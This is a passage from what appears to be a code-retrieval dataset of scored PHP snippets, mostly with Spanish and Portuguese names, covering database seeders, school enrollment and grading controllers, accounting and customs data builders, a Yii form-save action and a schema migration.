MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 7;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 8;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 8;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 8;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =2;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 8;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 9;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 9;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 9;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 9;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 10;\n $matrizDetalle->matriz_parametro_id = 1;\n $matrizDetalle->puntaje =4;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 10;\n $matrizDetalle->matriz_parametro_id = 2;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 10;\n $matrizDetalle->matriz_parametro_id = 3;\n $matrizDetalle->puntaje =3;\n $matrizDetalle->save();\n $matrizDetalle = new MatrizDetalle();\n $matrizDetalle->matriz_priorizacion_id = 1;\n $matrizDetalle->proceso_id = 10;\n $matrizDetalle->matriz_parametro_id = 4;\n $matrizDetalle->puntaje =2;\n $matrizDetalle->save();\n }", "title": "" }, { "docid": "78109bfb3b22ca66c83d2d2d839e4e84", "score": "0.5680485", "text": "public function VisualizarMatricula($id){\n\t\t$this->VerificaLogin();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// PROCURA O $ID NA TAB MATRICULA\n\t\t$this->set(compact('id'));\n\t\t$tab_matricula = $this->Matricula->find ('all', array (\n\t\t\t\t'order' => array (\n\t\t\t\t\t\t'Matricula.nomealuno' => 'asc' \n\t\t\t\t),\n\t\t\t\t'conditions' => array (\n\t\t\t\t\t\t'Matricula.idturm' => $id\n\t\t\t\t)\n\t\t) );\n\t\t$this->set(compact('tab_matricula')); \t\t\t\t\t// COMPARA COM O $ID DA TAB ALUNO\n\t}", "title": "" }, { "docid": "c3de39a7826ab4882a424ed5f0a932e4", "score": "0.5675558", "text": "function llenarMatrizPlanCuentas(){\n\t\t\t\n\t\t\tunset($matriz); \n\t\t\tglobal $matriz;\t\n\t\t\t$res = llamarRegistrosMySQLPlanCuentas();\n\t\t\t$posicion=0;\n\t\t\t\t\n\t\t\t\twhile ($fila = mysql_fetch_array($res))\n\t\t\t\t{\t\n\t\t\t\t\t\n\t\t\t\t\t$matriz[\"anio\"][$posicion] = $fila[\"Anio\"];\n\t\t\t\t\t$matriz[\"cuenta\"][$posicion] = $fila[\"Cuenta\"];\n\t\t\t\t\t$matriz[\"nombre\"][$posicion] = $fila[\"Nombre\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"naturaleza\"][$posicion] = $fila[\"Naturaleza\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"tipo\"][$posicion] = $fila[\"Tipo\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"centrocostos\"][$posicion] = $fila[\"CentroCostos\"];\t\n\t\t\t\t\t$matriz[\"corriente\"][$posicion] = $fila[\"Corriente\"];\t\n\t\t\t\t\t$matriz[\"banco\"][$posicion] = $fila[\"Banco\"];\t\n\t\t\t\t\t$matriz[\"diferido\"][$posicion] = $fila[\"Diferido\"];\t\n\t\t\t\t\t$matriz[\"tercero\"][$posicion] = $fila[\"Tercero\"];\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"nombanco\"][$posicion] = $fila[\"NomBanco\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"numcuenta\"][$posicion] = $fila[\"NumCuenta\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"destinacion\"][$posicion] = $fila[\"Destinacion\"];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$matriz[\"ftefinanciacion\"][$posicion] = $fila[\"FteFinanciacion\"];\t\n\t\t\t\t\t$matriz[\"cod1001\"][$posicion] = $fila[\"Cod1001\"];\n\t\t\t\t\t$matriz[\"cod1002\"][$posicion] = $fila[\"Cod1002\"];\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$posicion++;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t}", "title": "" }, { "docid": "73b9ce92fc25b6d70e815271b3b9425f", "score": "0.5674844", "text": "private function agregarOtrosRubros(){\n $rubrosVariables = RubroVariable::all();\n $rubrosFijos = RubroFijo::all();\n $cobrosAgua = CobroAgua::all();\n foreach ($cobrosAgua as $cobroAgua) {\n foreach ($rubrosVariables as $rubroVariable) {\n $cobroAgua->rubrosvariables()->attach($rubroVariable->idrubrovariable,['costorubro' => 0]);\n }\n foreach ($rubrosFijos as $rubroFijo) {\n $cobroAgua->rubrosfijos()->attach($rubroFijo->idrubrofijo,['costorubro' => $rubroFijo->costorubro]);\n }\n }\n }", "title": "" }, { "docid": "d525a8d182acfb8aa1b2ece4ecf55ea2", "score": "0.5672232", "text": "public function fcargaVregistroCalif(){\n\t\t//La vista de registro de calificaciones necesita de varios parametros. Primero obtener esos parametros.\n\t\t//$grupo = $this->input->post('mater');\n\t\t\n\t\t//$this->alumnos = $this->ModelosP->ObtenAlumnosGrupo($grupo);\n\t\t\n\t\t$idProfe = $this->ModelosP->ObtenIdProfe($_SESSION[\"S_usr\"]); //Obtiene el id del profe (usando su nombre)\n\t\t$this->materiasProfe = $this->ModelosP->obtenMaterias2($idProfe); //Obtiene las materias de un profe\n\t\t//var_dump($materiasProfe);\n\t\t/*for ($i=0; $i<($materiasProfe); $i++){\n\t\t\t$aux = $materiasProfe[$i];\n\t\t\t$materia = $aux['id_materia'];\n\t\t\t$grupos = $aux['id_grupo'];\n\t\t}\n\t\t$envio['id_materias'] = $materia;\n\t\t$envio['id_grupos'] = $grupos;\n\t\t*/\n\t\t\n\n\t\t$this->load->view('VRegisCalif', $this->materiasProfe); //Se carga la vista con los datos necesarios\n\t}", "title": "" }, { "docid": "7f09f6beab67b02cce9310d5d4c04859", "score": "0.5668728", "text": "function matrizRetiroCabeza($arregloDatos, &$datos, &$plantilla) {\n $unaConsulta= new Levante();\n $unaConsulta->getDatosRetiro($arregloDatos);\n $unaConsulta->fetch();\n $arregloDatos[fecha_retiro] = $unaConsulta->fecha;\n $arregloDatos[orden_ing] = $unaConsulta->orden;\n $arregloDatos[cant_nal] = number_format($unaConsulta->cantidad_naci, DECIMALES, \".\", \",\");\n $arregloDatos[refe_retito] = $unaConsulta->refe_retito;\n $arregloDatos[peso_nal] = number_format($unaConsulta->peso_naci, DECIMALES, \".\", \",\");\n $arregloDatos[cif_ret] = number_format($unaConsulta->cif, DECIMALES, \".\", \",\");\n \n // Faltan los valores extranjeros \n if($unaConsulta->peso_nonac > 0 or $unaConsulta->cantidad_nonac > 0) {\n $arregloDatos[l_ext] = \" [EXT] \";\n $arregloDatos[ext_peso] = number_format($unaConsulta->peso_nonac, DECIMALES, \".\", \",\");\n $arregloDatos[ext_cantidad] = number_format($unaConsulta->cantidad_nonac, DECIMALES, \".\", \",\");\n $arregloDatos[fob_ret] = number_format($unaConsulta->fob_nonac, DECIMALES, \".\", \",\");\n }\n // Se pintan los ajustes y los totales después de ajustes\n $unAjuste = new Levante();\n $unAjuste->getDatosAjustes($arregloDatos);\n $unAjuste->fetch();\n\n $arregloDatos[cant_nal_a] = number_format($unAjuste->cantidad_naci, DECIMALES, \".\", \",\");\n $arregloDatos[peso_nal_a] = number_format($unAjuste->peso_naci, DECIMALES, \".\", \",\");\n $arregloDatos[cif_ret_a] = number_format($unAjuste->cif, DECIMALES, \".\", \",\");\n $arregloDatos[refe_ajuste] = $unAjuste->refe_retiro;\n\n if($unAjuste->peso_nonac <> 0 or $unAjuste->cantidad_nonac <> 0 or $unaConsulta->cantidad_nonac <> 0 or $unaConsulta->peso_nonac <> 0 or $unaConsulta->fob_nonac <> 0) {\n $arregloDatos[l_ext_a] = \" [EXT] \";\n\t\t $arregloDatos[ext_peso_a] = number_format($unAjuste->peso_nonac, DECIMALES, \".\", \",\");\n\t\t $arregloDatos[ext_cantidad_a] = number_format($unAjuste->cantidad_nonac, DECIMALES, \".\", \",\");\n\t\t $arregloDatos[fob_ret_a] = number_format($unAjuste->fob_nonac, DECIMALES, \".\", \",\");\n\t\t\n\t\t $arregloDatos[total_cantidad_ext] = number_format($unaConsulta->cantidad_nonac+$unAjuste->cantidad_nonac, DECIMALES, \".\", \",\");\n\t\t $arregloDatos[total_peso_ext] = number_format($unaConsulta->peso_nonac+$unAjuste->peso_nonac, DECIMALES, \".\", \",\");\n\t\t $arregloDatos[total_fob_ext] = number_format($unaConsulta->fob_nonac+$unAjuste->fob_nonac, DECIMALES, \".\", \",\");\n }\n\t $arregloDatos[total_cantidad_nal] = number_format(abs($unaConsulta->cantidad_naci)+$unAjuste->cantidad_naci, DECIMALES, \".\", \",\");\n\t $arregloDatos[total_peso_nal] = number_format($unaConsulta->peso_naci+$unAjuste->peso_naci, DECIMALES, \".\", \",\");\n\t $arregloDatos[total_cif_a] = number_format($unaConsulta->cif+$unAjuste->cif, DECIMALES, \".\", \",\");\n $arregloDatos[valor_aux] = $datos->valor;\n $arregloDatos[valor] = number_format(abs($datos->valor), DECIMALES, \".\", \",\");\n $arregloDatos[mostrar] = 0;\n $arregloDatos[plantilla] = 'levanteMatrizCuerpoRetiro.html';\n $arregloDatos[thisFunction] = 'matrizRetiroCuerpo';\n\n $arregloDatos[detalle] = $this->setFuncion($arregloDatos, $unDatos);\n $this->mantenerDatos($arregloDatos, $plantilla);\n }", "title": "" }, { "docid": "7bfbfba9f583da338353eec0008a2dca", "score": "0.5668727", "text": "function evt__formulario__modificacion($datos)\n\t{\n $this->dep('datos')->tabla('estimulo')->set($datos);\n $this->dep('datos')->tabla('estimulo')->sincronizar();\n $this->resetear();\n $this->s__mostrar=0;\n\t}", "title": "" }, { "docid": "9cf491845c0bb84dc6cf84f57d9c137e", "score": "0.56282103", "text": "private function matricularse(){\n\t\t\tif(isset($_POST['codigo']))\n\t\t\t\t$codigo = $verificador->validaNrc($_POST['nrc']);\n\t\t\telse\n\t\t\t\t$codigo = false;\n\t\t\t\t\n\t\t\tif(isset($_POST['nrc'])) $nrc = $verificador->validaNrc($_POST['nrc']);\n\t\t\telse $nrc = false;\n\t\t\t\t\t\n\t\t\tif(isset($_POST['ciclo'])) $ciclo = $verificador->validaCiclo($_POST['ciclo']);\n\t\t\telse $ciclo = false;\n\t\t\t\n\t\t\tif($codigo && $nrc && $ciclo)\n\t\t\t\t$status = true;\n\t\t\telse\n\t\t\t\t$status = false;\n\t\t\t\t\n\t\t\tif($status){\n\t\t\t\t$arreglo = array('codigo' => $_POST['codigo'], 'nrc' => $_POST['nrc'], 'ciclo' => $_POST['ciclo']);\n\t\t\t\t$arreglo = $verificador->limpiaSQL($arreglo);\n\t\t\t\t\n\t\t\t\t$matricula = $this->model->matricular($arreglo);\n\t\t\t\t\n\t\t\t\tif($matricula[0]){\n\t\t\t\t\t//CHARGE A SUCCESS VIEW\n\t\t\t\t}else{\n\t\t\t\t\t//CHARGE THE ERROR WITH $matricula[1] \n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t//CHARGE AN ERROR\n\t\t\t}\n\t\t\n\t\t}", "title": "" }, { "docid": "f340aae809350964875a4831101b4c3c", "score": "0.5617153", "text": "function instancia__cambios_estructura()\r\n\t{\r\n\t\t$sql = \"SET CONSTRAINTS ALL IMMEDIATE;\";\r\n\t\t$this->elemento->get_db()->ejecutar($sql);\r\n\t\t$sql = array();\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto ALTER COLUMN subclase_archivo TYPE VARCHAR(255);\";\r\n\t\t$sql[] = \"ALTER TABLE apex_proyecto ADD COLUMN tiempo_espera_ms INTEGER;\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_formulario_ef ADD COLUMN deshabilitar_rest_func SMALLINT;\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_formulario_ef ADD COLUMN permitir_html SMALLINT;\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_cuadro_columna ADD COLUMN permitir_html SMALLINT;\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_eventos ADD COLUMN accion_vinculo_servicio VARCHAR(100);\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_cuadro_columna ADD COLUMN vinculo_servicio VARCHAR(100);\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_cuadro_columna ADD COLUMN grupo VARCHAR(255);\";\r\n\t\t$sql[] = \"ALTER TABLE apex_objeto_ei_filtro_col ADD COLUMN carga_no_seteado_ocultar SMALLINT;\";\r\n\t\t$this->elemento->get_db()->ejecutar($sql);\r\n\t\t\r\n\t\t$sql = \"SET CONSTRAINTS ALL DEFERRED;\";\r\n\t\t$this->elemento->get_db()->ejecutar($sql);\r\n\t}", "title": "" }, { "docid": "6a97cfd47a3df9e42c14956402b33ee8", "score": "0.5580951", "text": "public function actionCreate()\n {\n\t\t//Este array indica cuantos detalles misionales por actividad deben haber\n\t\t//Para el primer detalle debe haber 3 y para el segundo solo uno\n\t\t$totalActividades = [ 3, 1 ];\n\t\t$totalIndicadores = [ 4, 2 ];\n\t\t$idsIndicadores = [ 1,2,3,4,5,6 ];\n\t\t\n\t\t$indicadores = [];\n\t\t$actividades = [];\n\t\t\n\t\t$id_sede \t\t= $_SESSION['sede'][0];\n\t\t$id_institucion\t= $_SESSION['instituciones'][0];\n\t\t\n\t\t$institucion = Instituciones::findOne($id_institucion);\n\t\t$sede \t\t = Sedes::findOne($id_sede);\n\t\t\n\t\t$guardar = Yii::$app->request->post('guardar') == 1 ? true: false;\n\t\t\n\t\t$guardado = false;\n\t\t\n\t\t/**\n\t\t * Se pinta el formulario en arrays de acuerdo a como está relacionado las tablas\n\t\t * Es decir:\n\t\t * El formulario está compuesto por:\n\t\t * - Un encabezado (tabla enc_artistica_misional)\n\t\t * - Por cada encabezado hay dos detalles (tabla det_artistica_misional)\n\t\t * - Por cada tabla detalle hay una serie de datos a llenar por cada actividad (tabla det_misional_artistica_x_actividad)\n\t\t * - Además de una actividad por detalle también hay indicadores (tabla indicadores_x_det_artistica_misional)\n\t\t *\n\t\t * Se deja a continuación un array que representa como está pintado el formulario\n\t\t */\n\t\t// $models=[\n\t\t\t\t\t// 'encabezado'=> \tnew IsaEncArtisticaMisional(),\n\t\t\t\t\t// 'detalle' \t=>\t[\n\t\t\t\t\t\t\t\t\t\t// [\n\t\t\t\t\t\t\t\t\t\t\t// 'misional'\t => '',\n\t\t\t\t\t\t\t\t\t\t\t// 'actividades' => [],\n\t\t\t\t\t\t\t\t\t\t\t// 'indicadores' => [],\n\t\t\t\t\t\t\t\t\t\t// ],\n\t\t\t\t\t\t\t\t\t\t// [\n\t\t\t\t\t\t\t\t\t\t\t// 'misional'\t => '',\n\t\t\t\t\t\t\t\t\t\t\t// 'actividades' => [],\n\t\t\t\t\t\t\t\t\t\t\t// 'indicadores' => [],\n\t\t\t\t\t\t\t\t\t\t// ],\n\t\t\t\t\t\t\t\t\t// ],\n\t\t\t\t// ];\n \n\t\t$model = new IsaEncArtisticaMisional();\n\t\t\n\t\t$models = [];\n\t\t\n\t\t$models['encabezado'] = new IsaEncArtisticaMisional();\n\t\t\n\t\t//Si es post es que se va a guardar los datos\n\t\tif( Yii::$app->request->post() )\n\t\t{\n\t\t\t//A continuación se carga cada modelo de acuerdo a lo ingresado\n\t\t\t\n\t\t\t$encabezado = Yii::$app->request->post(\"IsaEncArtisticaMisional\");\n\t\t\t\n\t\t\t//Buscando los datos ingresados por el usuario\n\t\t\tif( !empty( $encabezado['id'] ) )\n\t\t\t{\n\t\t\t\t$models['encabezado'] = IsaEncArtisticaMisional::findOne( $encabezado['id'] );\n\t\t\t}\n\t\t\t\n\t\t\t//Cargando el encabezado\n\t\t\t$models['encabezado']->load( Yii::$app->request->post() );\n\t\t\t\n\t\t\t$models['detalle'] = [];\n\t\t\t\n\t\t\t\n\t\t\t$modelsMisionales = Yii::$app->request->post(\"IsaDetArtisticaMisional\");\n\n\t\t\t//Se carga cada detalle ingreado por el usuario\n\t\t\tforeach( $modelsMisionales as $i => $misional )\n\t\t\t{\n\t\t\t\tif( !empty( $misional['id'] ) )\n\t\t\t\t{\n\t\t\t\t\t$models['detalle'][$i]['misional'] = IsaDetArtisticaMisional::findOne( $misional['id'] );\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$models['detalle'][$i]['misional'] = new IsaDetArtisticaMisional();\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$models['detalle'][$i]['misional']->load( $misional, '' );\n\t\t\t}\n\t\t\t\n\t\t\t$actividadesArtisticas = Yii::$app->request->post(\"IsaDetMisionalArtisticaXActividad\");\n\t\t\t\n\t\t\t//Por cada detalle debe haber dos detalles misionales por actividad\n\t\t\tforeach( $actividadesArtisticas as $i => $arrArtisticas )\n\t\t\t{\n\t\t\t\tforeach( $arrArtisticas as $j => $actArtisticas )\n\t\t\t\t{\n\t\t\t\t\tif( !empty($actArtisticas['id']) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$models['detalle'][$i]['actividades'][$j] = IsaDetMisionalArtisticaXActividad::findOne( $actArtisticas['id'] );\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$models['detalle'][$i]['actividades'][$j] = new IsaDetMisionalArtisticaXActividad();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$models['detalle'][$i]['actividades'][$j]->load( $actArtisticas, '' );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$isaIndicadores = Yii::$app->request->post(\"IsaIndicadoresXDetArtisticaMisional\");\n\t\t\t\n\t\t\t//Por cada detalle hay 4 indicadores para el primer detalle y 2 para el segundo detalle\n\t\t\tforeach( $isaIndicadores as $i => $isaind )\n\t\t\t{\n\t\t\t\tforeach( $isaind as $j => $ind )\n\t\t\t\t{\t\n\t\t\t\t\tif( !empty($ind['id']) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$models['detalle'][$i]['indicadores'][$j] = IsaIndicadoresXDetArtisticaMisional::findOne( $ind['id'] );\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$models['detalle'][$i]['indicadores'][$j] = new IsaIndicadoresXDetArtisticaMisional();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$models['detalle'][$i]['indicadores'][$j]->load( $ind, '' );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$valido = true;\n\t\t\t\n\t\t\t//Proceso a validar todos los datos\n\t\t\tif( $guardar )\n\t\t\t{\n\t\t\t\t$valido = $models['encabezado']->validate([\n\t\t\t\t\t\t\t\t\t'id_institucion',\n\t\t\t\t\t\t\t\t\t'id_sede',\n\t\t\t\t\t\t\t\t\t'periodo',\n\t\t\t\t\t\t\t\t\t'fecha',\n\t\t\t\t\t\t\t\t]) && $valido;\n\t\t\t\tforeach( $models['detalle'] as $keyDet => $valueDetalle )\n\t\t\t\t{\n\t\t\t\t\t$valido = $valueDetalle['misional']->validate([\n\t\t\t\t\t\t\t\t\t\t'mision',\n\t\t\t\t\t\t\t\t\t\t'descripcion_proceso',\n\t\t\t\t\t\t\t\t\t\t'hallazgos',\n\t\t\t\t\t\t\t\t\t\t'avance_sede_sensibilizacion',\n\t\t\t\t\t\t\t\t\t\t'avance_sede_desarrollo',\n\t\t\t\t\t\t\t\t\t]) && $valido;\n\t\t\t\t\t\n\t\t\t\t\tforeach( $valueDetalle['actividades'] as $key => $actividad )\n\t\t\t\t\t{\n\t\t\t\t\t\t$valido = $actividad->validate([\n\t\t\t\t\t\t\t\t\t\t'id_actividad',\n\t\t\t\t\t\t\t\t\t\t'estado_actual',\n\t\t\t\t\t\t\t\t\t\t'logros',\n\t\t\t\t\t\t\t\t\t\t'fortalezas',\n\t\t\t\t\t\t\t\t\t\t'debilidades',\n\t\t\t\t\t\t\t\t\t\t'retos',\n\t\t\t\t\t\t\t\t\t\t'alarmas',\n\t\t\t\t\t\t\t\t\t]) && $valido;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tforeach( $valueDetalle['indicadores'] as $key => $indicador )\n\t\t\t\t\t{\n\t\t\t\t\t\t$valido = $indicador->validate([\n\t\t\t\t\t\t\t\t\t\t\t'id_indicador',\n\t\t\t\t\t\t\t\t\t\t\t'valor_indicador',\n\t\t\t\t\t\t\t\t\t\t]) && $valido;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//Una vez validado cada modelo procedo a guardar\n\t\t\t\tif( $valido )\n\t\t\t\t{\n\t\t\t\t\t$models['encabezado']->estado = 1;\n\t\t\t\t\t$models['encabezado']->save(false);\n\t\t\t\t\t\n\t\t\t\t\tforeach( $models['detalle'] as $keyDet => $valueDetalle )\n\t\t\t\t\t{\n\t\t\t\t\t\t$valueDetalle['misional']->id_enc_artistica_misional = $models['encabezado']->id;\n\t\t\t\t\t\t$valueDetalle['misional']->estado = 1;\n\t\t\t\t\t\t$valueDetalle['misional']->save(false);\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach( $valueDetalle['actividades'] as $key => $actividad )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$actividad->estado = 1;\n\t\t\t\t\t\t\t$actividad->id_det_artistica_misional = $valueDetalle['misional']->id;\n\t\t\t\t\t\t\t$actividad->save(false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach( $valueDetalle['indicadores'] as $key => $indicador )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$indicador->id_det_artisctica_misional = $valueDetalle['misional']->id;\n\t\t\t\t\t\t\t// $indicador->id_indicador = $valueDetalle['misional']->id;\n\t\t\t\t\t\t\t$indicador->estado = 1;\n\t\t\t\t\t\t\t$indicador->save(false);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$guardado = true;\n\t\t\t\t\t\n\t\t\t\t\treturn $this->redirect( ['index', 'guardado' => true ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//Por cada encabezado debe haber dos detalles\n\t\t//que es lo mismo a: por cada modelo de encabezado debe haber dos modeles de detalle\n\t\tfor( $i = 0; $i < 2; $i++ )\n\t\t{\n\t\t\tif( empty( $models['detalle'][$i] ) )\n\t\t\t{\n\t\t\t\tif( empty($models['detalle'][$i]['misional']) )\n\t\t\t\t{\n\t\t\t\t\t$models['detalle'][$i]['misional'] = new IsaDetArtisticaMisional();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( empty( $models['detalle'][$i]['actividades']) )\n\t\t\t\t{\n\t\t\t\t\t//Por cada detalle debe haber dos detalles misionales por actividad\n\t\t\t\t\tfor( $j = 0; $j < $totalActividades[$i]; $j++ )\n\t\t\t\t\t{\n\t\t\t\t\t\t$models['detalle'][$i]['actividades'][$j] = new IsaDetMisionalArtisticaXActividad();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t//Por cada detalle debe haber dos detalles misionales por actividad\n\t\t\t\tfor( $j = 0; $j < $totalIndicadores[$i]; $j++ )\n\t\t\t\t{\n\t\t\t\t\t$models['detalle'][$i]['indicadores'][$j] = new IsaIndicadoresXDetArtisticaMisional();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//Se consulta el indicador que se guarda para cada detalle\n\t\t//En la tabla indicadores se guarda la descripción que debe ir en cada indicador que se va a mostrar\n\t\t//y en la tabla indicadores_x_det_artistica_misional se guarda el dato ingresado por el usuario\n\t\tif( empty($indicadores) )\n\t\t{\t\n\t\t\tfor( $i = 0; $i < 4; $i++ )\n\t\t\t{\n\t\t\t\t$indicadores[0][] = IsaIndicadores::findOne( $idsIndicadores[ $i ] );\n\t\t\t}\n\t\t\t\n\t\t\tfor( $i = 4; $i < 6; $i++ )\n\t\t\t{\n\t\t\t\t$indicadores[1][] = IsaIndicadores::findOne( $idsIndicadores[ $i ] );\n\t\t\t}\n\t\t}\n\t\t\n\t\t//Se usa la tabla actividades_artistica para consultar la descripción de cada actividad\n\t\t//Esa descripción se muestra en el formulario y su id se guarda en las tablas correspondientes\n\t\tfor( $i = 0; $i < 3; $i++ )\n\t\t{\n\t\t\t$actividades[0][] = IsaActividadesArtisticas::findOne( $i+1 );\n\t\t}\n\t\t\n\t\t$actividades[1][0] = IsaActividadesArtisticas::findOne( 4 );\n\n return $this->renderAjax('create', [\n 'model' \t\t=> $models['encabezado'],\n 'models' \t\t=> $models,\n 'institucion' \t=> $institucion,\n 'sede' \t\t\t=> $sede,\n 'indicadores'\t=> $indicadores,\n 'actividades'\t=> $actividades,\n 'guardado'\t\t=> $guardado,\n ]);\n }", "title": "" }, { "docid": "f2900eb9ec31c56aa0f6ccd178a2deb6", "score": "0.5469418", "text": "public function run()\n {\n Material::create([\n 'for_codigo' => 1,\n 'mat_unidade' => 'Lata',\n 'mat_nome' => 'Tinta silco Branco',\n 'mat_custo' => '10',\n // 'mat_observacao' => 1,\n ]);\n Material::create([\n 'for_codigo' => 1,\n 'mat_unidade' => 'Lata',\n 'mat_nome' => 'Tinta silco Azul Royal',\n 'mat_custo' => '12',\n // 'mat_observacao' => 1,\n ]);\n Material::create([\n 'for_codigo' => 1,\n 'mat_unidade' => 'Lata',\n 'mat_nome' => 'Tinta silco Amarelo',\n 'mat_custo' => '10',\n // 'mat_observacao' => 1,\n ]);\n Material::create([\n 'for_codigo' => 1,\n 'mat_unidade' => 'Lata',\n 'mat_nome' => 'Tinta silco Verde Limão',\n 'mat_custo' => '10',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'PV Profissional Branco',\n 'mat_custo' => '20',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'PV Azul Marinho',\n 'mat_custo' => '20',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'PV Azul Royal',\n 'mat_custo' => '22',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'PV Preto',\n 'mat_custo' => '20',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'PV Vermelho',\n 'mat_custo' => '20',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'Brim Leve',\n 'mat_custo' => '30',\n // 'mat_observacao' => 1,\n ]);\n \n Material::create([\n 'for_codigo' => 2,\n 'mat_unidade' => 'Metro',\n 'mat_nome' => 'Brim Pesado',\n 'mat_custo' => '30',\n // 'mat_observacao' => 1,\n ]);\n \n }", "title": "" }, { "docid": "d57d46cc9d3346564e40896489cb38ad", "score": "0.5437758", "text": "public function HistorialData(){ //METODO PARA PARA CREAR EL OBJETO Y SUS ATRIBUTOS \n\t\t$this->id = \"\"; \n\t\t$this->id_diag = \"\";\n\t\t$this->descripcion=\"\";\n $this->imagen = null;\n $this->fecha = \"\";\n\t\t\n\t}", 